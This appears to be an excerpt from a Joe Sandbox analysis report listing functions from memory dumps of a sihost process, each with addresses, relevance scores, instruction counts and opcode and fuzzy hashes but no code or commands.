Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69114b8ae95895e6f175d41768e475e1a07a93097f36a5c1c259110ae612aed1
Instruction ID: 2ee231d98104e8316e9fc8311ef9ab761a260c567ad0a9dda2d189f7dea3c1ce
Opcode Fuzzy Hash: 69114b8ae95895e6f175d41768e475e1a07a93097f36a5c1c259110ae612aed1
Instruction Fuzzy Hash: E441F174D01348DFDB14DFA5D5987EDBBF2AB49300F20902AD405A7394DB745A46CF54

Function 009D1BD0 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 805c488127264059ee9f2b321fc66a40cef0035f5ad5bed6241e400d40f74156
Instruction ID: 28484d7fb400d24696edd8bbdc3e26a5814f432e655d9abe238457b32a6d5c9f
Opcode Fuzzy Hash: 805c488127264059ee9f2b321fc66a40cef0035f5ad5bed6241e400d40f74156
Instruction Fuzzy Hash: 6641B078D01208DFDB14DFE9D5947EDBBF2AB49304F20912AD405A7394DB785A46CF50

Function 0010D468 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624095857.000000000010D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0010D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10d000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01094692b40a40f4ebc55fb0759475fbfd4c59877e35886a048863b24869dd62
Instruction ID: c2c8b1c23bf8f21c60b9e4a2c2218824dd4a4976eebcb9a6868e3ba1bd7d595d
Opcode Fuzzy Hash: 01094692b40a40f4ebc55fb0759475fbfd4c59877e35886a048863b24869dd62
Instruction Fuzzy Hash: 722125B2604240EFDB05CF54E9C4B26BF65FB94318F34C5A9EC494B296C376D846CBA1

Function 0028D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624171341.000000000028D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0028D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_28d000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8fec957fb3bbb6187de700e01fd5d4568e6f6228777c268a6cbbe51161dcf76
Instruction ID: d93e16fd52e46a590f88cac85343bb1558d55f127247d9d081223b33fa1c2860
Opcode Fuzzy Hash: b8fec957fb3bbb6187de700e01fd5d4568e6f6228777c268a6cbbe51161dcf76
Instruction Fuzzy Hash: 1A2134B9624200EFDB11DF24D8C4B26BB61EB84314F30C9A9E8494B2C2C776D85ACB61

Function 0010D463 Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624095857.000000000010D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0010D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_10d000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ce44f6fe7a28b32b333783b460579ef617a672a1c87bb5bd3d66835bf8f739a8
Instruction ID: 715009a52d3002fd752bcfa5a5b702fe285c4daf1f3fbafd797d2f68766f28dc
Opcode Fuzzy Hash: ce44f6fe7a28b32b333783b460579ef617a672a1c87bb5bd3d66835bf8f739a8
Instruction Fuzzy Hash: 6D11D376504240CFDB12CF50E9C4B16BF71FB94314F24C5A9DC454B256C336D95ACBA2

Function 0028D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624171341.000000000028D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0028D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_28d000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction ID: e7e02820988cd2c0869e64194c0e2f88a86cc62bf62eec5984e5922bdad503ac
Opcode Fuzzy Hash: cf97df7c3807292c182f1b7c3dfb3e406c11d3bc6a6cd3de1006cfbaae9c3a26
Instruction Fuzzy Hash: 2111DD79504280CFDB12CF10C9C4B15BFA1FB84314F28CAADD8494B696C33AD85ACFA2

Function 009D694E Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cda46d2e0dbd282099455332278e957d1298e99a4500e3ddb31bda0bd7fd6be1
Instruction ID: b0686d8ab7f68b8405a4413afa2e21ff1a3a8d83b4aa6ea11340836460fff797
Opcode Fuzzy Hash: cda46d2e0dbd282099455332278e957d1298e99a4500e3ddb31bda0bd7fd6be1
Instruction Fuzzy Hash: 3701AD34D02608CFCB45DFB9E8682EDBBB1EF8A311F10992AD401B7354EB356951CB61

Function 009D8430 Relevance: .0, Instructions: 32COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74f2e4dcf0ed594588a9bd22b94e36c7dcf9b0ae430097b79394869f33070a9c
Instruction ID: 1f4314ed0dd2259d491adc438dd2904d645a89c5be3ed4d1911601db5fd3678c
Opcode Fuzzy Hash: 74f2e4dcf0ed594588a9bd22b94e36c7dcf9b0ae430097b79394869f33070a9c
Instruction Fuzzy Hash: 8AF03A74D08208AFCB12DFB9D95569EBFB8AB45300F1080E7D854A7266E6345A45CB81

Function 009D8490 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d43a4c692b0eaeb2caedd0e02805dd724e1ea4a7f4a4c0f460752d3ee77518b6
Instruction ID: 2781cefebf6787e5d6478cd9d82427b7945e31923cdb9079371725015a3921fc
Opcode Fuzzy Hash: d43a4c692b0eaeb2caedd0e02805dd724e1ea4a7f4a4c0f460752d3ee77518b6
Instruction Fuzzy Hash: F9F08C34D08208EFCB44DFA9E455AAEBBB8AB84300F10C0A69848A3316E7345A04CF80

Function 009D83D8 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab05b0c2e94bcb486eae1d6a624c53d9fd7e76c8d2fdc78223e460d2a2c55d69
Instruction ID: d4f828af04e7f9dc72f93cfcfaceb1a398114811355d0bfc7f95df54ee667785
Opcode Fuzzy Hash: ab05b0c2e94bcb486eae1d6a624c53d9fd7e76c8d2fdc78223e460d2a2c55d69
Instruction Fuzzy Hash: 62F05E74D49348AFCB41DFB9E854A6DBBB4AB45300F1080EBD85493356E6345A04CB40

Non-executed Functions

Function 009D2130 Relevance: 11.7, Strings: 9, Instructions: 461COMMON

Download Yara Rule

Strings

PHp, xrefs: 009D247D
", xrefs: 009D2906
PHp, xrefs: 009D2469
PHp, xrefs: 009D2656
PHp, xrefs: 009D2575
PHp, xrefs: 009D266A
PHp, xrefs: 009D2751
PHp, xrefs: 009D2561
PHp, xrefs: 009D2765

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: 1c0aa49f8c30195c6086b461ba6cfc2b26542f40f2cdf1af1329e3ab91b369bd
Instruction ID: fc40afbcd85ebae71abf1fd4ce269a6113cb6b66255a82565bfcda13e4ea633a
Opcode Fuzzy Hash: 1c0aa49f8c30195c6086b461ba6cfc2b26542f40f2cdf1af1329e3ab91b369bd
Instruction Fuzzy Hash: 3832A174E012188FDB68CF69C954B9DBBB2BF89304F2084AAD409AB355DB759E85CF10

Function 009D2121 Relevance: 11.6, Strings: 9, Instructions: 369COMMON

Download Yara Rule

Strings

PHp, xrefs: 009D247D
", xrefs: 009D2906
PHp, xrefs: 009D2469
PHp, xrefs: 009D2656
PHp, xrefs: 009D2575
PHp, xrefs: 009D266A
PHp, xrefs: 009D2751
PHp, xrefs: 009D2561
PHp, xrefs: 009D2765

Memory Dump Source

Source File: 00000011.00000002.625633522.00000000009D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_9d0000_sihost.jbxd

Similarity

API ID:
String ID: "$PHp$PHp$PHp$PHp$PHp$PHp$PHp$PHp
API String ID: 0-3547488823
Opcode ID: 648d0bfc50c2c3105e148fb9859587e44dc828c9d0bce65b2a322cefe67f7bda
Instruction ID: 9fb3d3c56368b5a587f17ac6b3408cf7627820f291a50434856d4e237160e4e5
Opcode Fuzzy Hash: 648d0bfc50c2c3105e148fb9859587e44dc828c9d0bce65b2a322cefe67f7bda
Instruction Fuzzy Hash: CF02D2B4E002188FDB68DF65D954B9DBBF2BF89304F2080A9D808A7355DB759E85CF10

Function 0036E765 Relevance: .3, Instructions: 337COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624335125.0000000000360000.00000040.00000800.00020000.00000000.sdmp, Offset: 00360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_360000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c67b3f9acade4a2f7266d40841d2749118f99c36648cc6be16ca9b3be7b571a
Instruction ID: 030238347544d03f27274a2c711a7b922f86c837e5f75645063e737478754909
Opcode Fuzzy Hash: 0c67b3f9acade4a2f7266d40841d2749118f99c36648cc6be16ca9b3be7b571a
Instruction Fuzzy Hash: 71E12878E04258CFDB15DFA5C854B9DBBB2BF8A300F2480AAD849AB359DB315D45CF41

Function 004980A0 Relevance: .3, Instructions: 300COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 426f547d8fdd443c19a8e00b34bd89e21d8cd7056d0e3c14f106bc9f089b5110
Instruction ID: 82918fe3c62d25aefecd675ad29a42904c70a8438b499b3c17987c4070b61512
Opcode Fuzzy Hash: 426f547d8fdd443c19a8e00b34bd89e21d8cd7056d0e3c14f106bc9f089b5110
Instruction Fuzzy Hash: 05E1DF74E01218CFDB64DFA9C954B9DBBB2BF89300F2081AAD808A7359DB355E85CF54

Function 0067DE88 Relevance: .3, Instructions: 296COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.625507517.0000000000670000.00000040.00000800.00020000.00000000.sdmp, Offset: 00670000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_670000_sihost.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: 665811b132932ac26aef26f266219ee90bda410794edb5162c0ae06573430181
Instruction ID: 7e8db33f2485d66f9926461ecada8ba5c071489ca414f0d6d0cfff53d2f08ad8
Opcode Fuzzy Hash: 665811b132932ac26aef26f266219ee90bda410794edb5162c0ae06573430181
Instruction Fuzzy Hash: 7CE1D274E01218CFEB64DFA5C894B9DBBB2BF89300F2085AAD409A7395DB355E85CF50

Function 004B0040 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b5aab2b989d1bbcd4f2c86abf0fe382a86bd81533eea77cb9fc4c20fdb397470
Instruction ID: c544197a64b68292f692ad5ac1b55b96bbc80b2b5eb191942d000dfc020dc43a
Opcode Fuzzy Hash: b5aab2b989d1bbcd4f2c86abf0fe382a86bd81533eea77cb9fc4c20fdb397470
Instruction Fuzzy Hash: 11D1A274E012188FDB54DFA5C894BADBBB2BF89301F2091AAD409AB359DB355E81CF50

Function 004B3E68 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 212bcd4dc53cd37ce2aa64cb066f0e9b058897524dca09bbbe87afc3c9becae0
Instruction ID: 9fc0c55d8c156e698374eec8923d6b9000f048a9bef588123d95ddc00201f547
Opcode Fuzzy Hash: 212bcd4dc53cd37ce2aa64cb066f0e9b058897524dca09bbbe87afc3c9becae0
Instruction Fuzzy Hash: B9D1A274E012188FDB54DFA5C854BADBBB2FF89300F2091AAD409AB359DB355E81CF50

Function 004B3010 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7122bb3721339cbb335a568f9ef777194900057a5c956df7624bee6fdc11f82
Instruction ID: 1c5b5f04748341d226161d93c160d9fee18f4208153141956ac0add1238dfd54
Opcode Fuzzy Hash: e7122bb3721339cbb335a568f9ef777194900057a5c956df7624bee6fdc11f82
Instruction Fuzzy Hash: E6D1A274E01218CFDB54DFA5C894BADBBB2BF89300F2091AAD409AB359DB355E81CF50

Function 004B1828 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 232cf83e90cf1bc0ff3f751689e50ee361f530e8e072b8b065a1db32400ee82c
Instruction ID: 4814efe82ae777198f78640918211c714c6d59283fa10ddbe7faba41c90e214d
Opcode Fuzzy Hash: 232cf83e90cf1bc0ff3f751689e50ee361f530e8e072b8b065a1db32400ee82c
Instruction Fuzzy Hash: B3D1B374E012188FDB54DFA5C894BADBBB2BF89300F2091AAD409AB359DB355E81CF50

Function 004B34D8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87c3000e29780396fa0766561512671f24c6f64b4633b153438a7c7f05fc3a5a
Instruction ID: eff9dd9acc7cc2821c2d7c99d8bb296ce8a546d4b1ca352967426890bb0d9f55
Opcode Fuzzy Hash: 87c3000e29780396fa0766561512671f24c6f64b4633b153438a7c7f05fc3a5a
Instruction Fuzzy Hash: 77D1A274E01218CFDB54DFA5C894BADBBB2BF89300F2491AAD409AB359DB355E81CF50

Function 004B1CF0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cd300e627311eb5b893991854505cdd04a2bdc0988b524176d6047d82a71ea6
Instruction ID: 74f739114cac6af6d3b54eb357778cd58119aed8c84529da2bae7b590867c0a8
Opcode Fuzzy Hash: 9cd300e627311eb5b893991854505cdd04a2bdc0988b524176d6047d82a71ea6
Instruction Fuzzy Hash: 61D1B374E01218CFDB54DFA5C994BADBBB2BF89300F2091AAD409AB359DB355E81CF50

Function 004B2680 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 679c83f4322d19e1da8b15f48f52cee82f82cc4a52977a256dd39ce8f22a16f0
Instruction ID: fa6fba0faed0388af9cb7383aabe599ad2bc7a213172419c70942a5e9926cd3a
Opcode Fuzzy Hash: 679c83f4322d19e1da8b15f48f52cee82f82cc4a52977a256dd39ce8f22a16f0
Instruction Fuzzy Hash: 3BD1B274E01218CFDB54DFA5C994BADBBB2BF89300F2091AAD409AB359DB355E81CF50

Function 004B0E98 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bc3f428cec0648df916556b7e5e29f6550dd04517949a6e9f4be2d8fdcb92d0
Instruction ID: 229c63283aea9a95cceaa6368e082b3840634c7eed1e3171b0e9376756dfd36f
Opcode Fuzzy Hash: 0bc3f428cec0648df916556b7e5e29f6550dd04517949a6e9f4be2d8fdcb92d0
Instruction Fuzzy Hash: 2AD1A374E012188FDB54DFA5C894BADBBB2BF89300F2091AAD409AB359DB355E81CF54

Function 004B2B48 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6be88fabda6fd32501b33a6482c4ba3c44ec8b887b7a9264851b989dd3ac5f9
Instruction ID: 8c736f3f9ee16ce993c6b0d95957fa822b36583e7a7c0a9327679b7a41af41ae
Opcode Fuzzy Hash: d6be88fabda6fd32501b33a6482c4ba3c44ec8b887b7a9264851b989dd3ac5f9
Instruction Fuzzy Hash: 1AD1A474E012188FDB54DFA5C954BADBBB2FF89300F2091AAD409A7359DB355E81CF50

Function 004B1360 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f3af75c0e26d61a2d88fdca203f3966fcdac631f63932822ef5d7378d4b01bd
Instruction ID: 7cc6bd732f04fa5ed252d3b7f47416b34d286d1f9a1f6db7e54d62b29f350be6
Opcode Fuzzy Hash: 2f3af75c0e26d61a2d88fdca203f3966fcdac631f63932822ef5d7378d4b01bd
Instruction Fuzzy Hash: CCD1B374E012188FDB54DFA5C894BADBBB2FF89300F6091AAD409AB359DB355E81CF50

Function 004B0508 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be7e28a07db93490c081994e9eb83950cc867082c79746b831f414d60b0e37e6
Instruction ID: a8553d212c9dbb06fbd6317ad2765ff97699d526ecda089c4fb5630417af3907
Opcode Fuzzy Hash: be7e28a07db93490c081994e9eb83950cc867082c79746b831f414d60b0e37e6
Instruction Fuzzy Hash: 27D1A374E01218CFDB54DFA5C854BADBBB2BF89301F2091AAD409AB359DB359E81CF50

Function 004B09D0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ea3fbf2c3b069fa9ce8debd307ad95cc8965c5d58692c47e6d92e9baa162e4ad
Instruction ID: 6bc151015885b5f639261c2060cf215301b07e2d3fa2fff5e2ff24a38431e1e2
Opcode Fuzzy Hash: ea3fbf2c3b069fa9ce8debd307ad95cc8965c5d58692c47e6d92e9baa162e4ad
Instruction Fuzzy Hash: 0DD1B474E01218CFDB54DFA5C894BADBBB2BF89300F2095AAD409A7359DB359E81CF50

Function 004B39A0 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42af9a88717f8c4fdab78f8892e4668433e0299614da5dc06451399379ef7bfe
Instruction ID: cb58cfc4076a3cf3f93149387a9cb2704bb7ca86d9f4f918aa0c4090cf03bd27
Opcode Fuzzy Hash: 42af9a88717f8c4fdab78f8892e4668433e0299614da5dc06451399379ef7bfe
Instruction Fuzzy Hash: F2D1A374E01218CFDB54DFA5C854BADBBB2BF89300F2491AAD409AB359DB359E81CF50

Function 004B21B8 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624786798.00000000004B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_4b0000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f577bfa722754f466db8ebd82f11756355c421afde3bb7628258088670211f0d
Instruction ID: d9ea4a62512aa21dc7d497e052389b8933ef05608a3971563361799bcb1a8468
Opcode Fuzzy Hash: f577bfa722754f466db8ebd82f11756355c421afde3bb7628258088670211f0d
Instruction Fuzzy Hash: DBD1A474E012188FDB54DFA5C954BADBBB2FF89300F2091AAD409AB359DB355E81CF50

Function 0049F540 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2e1a89c90608a5cb8f795daba3410db33add3029ff5d8b804e15d7028d28daae
Instruction ID: a7337b582cfc0fde02ab2d2da728b95d91195d1e6d0fe0a8b72796ef14da8d43
Opcode Fuzzy Hash: 2e1a89c90608a5cb8f795daba3410db33add3029ff5d8b804e15d7028d28daae
Instruction Fuzzy Hash: B4D1A374E012188FDB54DFA5C854BADBBB2FF89300F2091AAD409AB359DB355E85CF50

Function 0049DD58 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 48fe3c4c6fbde4dd83e99e13d3ef55111c65b49623f9357f7b8c75414b4b5ab6
Instruction ID: ca31243a80122348f54441e5e4e72219fb5441a721ca047beecb7449112a4b36
Opcode Fuzzy Hash: 48fe3c4c6fbde4dd83e99e13d3ef55111c65b49623f9357f7b8c75414b4b5ab6
Instruction Fuzzy Hash: 38D1A374E01218CFDB54DFA5C895BADBBB2BF89300F2091AAD409AB359DB355E81CF50

Function 0049B250 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b61500690e29c9fcbb4e725bca68d33a826838498deb88f03bdcae7729e676bf
Instruction ID: 6331c7fd0d725a7f3c7adfdbf37f184d7497a087b31160dcdfcb0a956e1a8c4a
Opcode Fuzzy Hash: b61500690e29c9fcbb4e725bca68d33a826838498deb88f03bdcae7729e676bf
Instruction Fuzzy Hash: 82D1B274E012188FDB54DFA5D994BADBBB2FF89300F2081AAD409AB359DB355E81CF50

Function 00499A68 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 793e65714e0ff40188b2bcbcbfd1dd3d5853fcb1fffe66cfd40fb0907cccbad8
Instruction ID: ce646a6e18b15af97223b5fbc8ddb29b97b1970494861242c67b1fa189d8f383
Opcode Fuzzy Hash: 793e65714e0ff40188b2bcbcbfd1dd3d5853fcb1fffe66cfd40fb0907cccbad8
Instruction Fuzzy Hash: F0D1B274E012188FDB54DFA5C894BADBBB2FF89300F2491AAD409AB359DB355E81CF50

Function 0049F078 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c0c1ba7290eae81427b45e078fa2f874d356c6dc438bcd5f57d15250053db95
Instruction ID: d4bad61f96fe0fb09d9227cbf1d3d1279bffdb4b2f1f66ef905c25a300c53416
Opcode Fuzzy Hash: 7c0c1ba7290eae81427b45e078fa2f874d356c6dc438bcd5f57d15250053db95
Instruction Fuzzy Hash: EED1B374E01218CFDB54DFA5C854BADBBB2BF89300F2091AAD409AB359DB359E85CF50

Function 0049C570 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 773e094194135131469af254833d97b9c30b0b06692fca8cf0ea6e24eff3d6bf
Instruction ID: ed908a61200f732330623af8d707569bd78061b3780cfe514bc9da867712def8
Opcode Fuzzy Hash: 773e094194135131469af254833d97b9c30b0b06692fca8cf0ea6e24eff3d6bf
Instruction Fuzzy Hash: 48D1A274E012188FDB54DFA5C894BADBBB2FF89300F2091AAD409AB359DB355E81CF54

Function 0049FA08 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c3671ec644e34ebe1a74c5c034efd5989d9047e732fdb828cc2bd4182dd5135
Instruction ID: ea6ae4afcdb86b0793c11fd65dadc71bb1537d6d9a6bb34eda693bd180f6588b
Opcode Fuzzy Hash: 0c3671ec644e34ebe1a74c5c034efd5989d9047e732fdb828cc2bd4182dd5135
Instruction Fuzzy Hash: 76D1A474E012188FDB54DFA5C854BADBBB2FF89300F2091AAD409AB359DB359E85CF50

Function 0049CF00 Relevance: .3, Instructions: 292COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000011.00000002.624693719.0000000000490000.00000040.00000800.00020000.00000000.sdmp, Offset: 00490000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_490000_sihost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a7eb6b29cd2db7d0287f2383465fdc6e54e3e0735a242d8e5b04c02c203c110
Instruction ID: 0ee1d30e0cc16f66824d2f69e1d3cdfa5ad9eb0ed133fd888cf4bb5c8b1071eb
